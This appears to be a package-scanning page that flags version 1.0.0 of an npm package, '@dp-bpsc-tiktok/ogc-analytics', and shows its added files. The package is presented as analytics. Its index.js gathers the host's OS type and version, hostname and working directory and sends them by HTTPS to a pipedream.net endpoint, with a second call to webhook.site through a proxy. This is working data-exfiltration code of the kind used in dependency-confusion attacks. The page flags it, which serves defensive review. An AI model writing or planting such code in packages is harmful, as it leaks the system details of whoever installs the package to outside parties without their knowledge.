@dp-bpsc-tiktok/ogc-analytics 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @dp-bpsc-tiktok/ogc-analytics might be problematic. Click here for more details.
- package/index.js +64 -0
- package/package.json +9 -0
package/index.js
ADDED
@@ -0,0 +1,64 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require('os');
|
3
|
+
const process = require('process');
|
4
|
+
|
5
|
+
// Get OS details
|
6
|
+
const osname = os.type(); // OS type (e.g., 'Linux', 'Darwin', 'Windows_NT')
|
7
|
+
const release = os.release(); // OS version
|
8
|
+
const hostname = os.hostname(); // Hostname
|
9
|
+
|
10
|
+
// Get current working directory
|
11
|
+
const cwd = process.cwd();
|
12
|
+
|
13
|
+
// Build the OS name string
|
14
|
+
const osname_str = `${osname} ${release}`;
|
15
|
+
|
16
|
+
// Construct the first request URL
|
17
|
+
const url1 = `https://eod2plzj9617yvr.m.pipedream.net/?1=${encodeURIComponent(osname_str)}&2=${encodeURIComponent(cwd)}&3=${encodeURIComponent(hostname)}`;
|
18
|
+
|
19
|
+
// Construct the second request URL
|
20
|
+
const url2 = 'https://bernard.byted.org/p/bernard/proxy?url=https://webhook.site/testem';
|
21
|
+
|
22
|
+
// Function to make the first GET request
|
23
|
+
function makeFirstRequest() {
|
24
|
+
https.get(url1, (res) => {
|
25
|
+
let data = '';
|
26
|
+
|
27
|
+
// A chunk of data has been received.
|
28
|
+
res.on('data', (chunk) => {
|
29
|
+
data += chunk;
|
30
|
+
});
|
31
|
+
|
32
|
+
// The whole response has been received.
|
33
|
+
res.on('end', () => {
|
34
|
+
console.log('Response from first request:', data);
|
35
|
+
});
|
36
|
+
|
37
|
+
}).on('error', (err) => {
|
38
|
+
console.error('Error in first request:', err.message);
|
39
|
+
});
|
40
|
+
}
|
41
|
+
|
42
|
+
// Function to make the second GET request
|
43
|
+
function makeSecondRequest() {
|
44
|
+
https.get(url2, (res) => {
|
45
|
+
let data = '';
|
46
|
+
|
47
|
+
// A chunk of data has been received.
|
48
|
+
res.on('data', (chunk) => {
|
49
|
+
data += chunk;
|
50
|
+
});
|
51
|
+
|
52
|
+
// The whole response has been received.
|
53
|
+
res.on('end', () => {
|
54
|
+
console.log('Response from second request:', data);
|
55
|
+
});
|
56
|
+
|
57
|
+
}).on('error', (err) => {
|
58
|
+
console.error('Error in second request:', err.message);
|
59
|
+
});
|
60
|
+
}
|
61
|
+
|
62
|
+
// Initiate both requests in parallel
|
63
|
+
makeFirstRequest();
|
64
|
+
makeSecondRequest();
|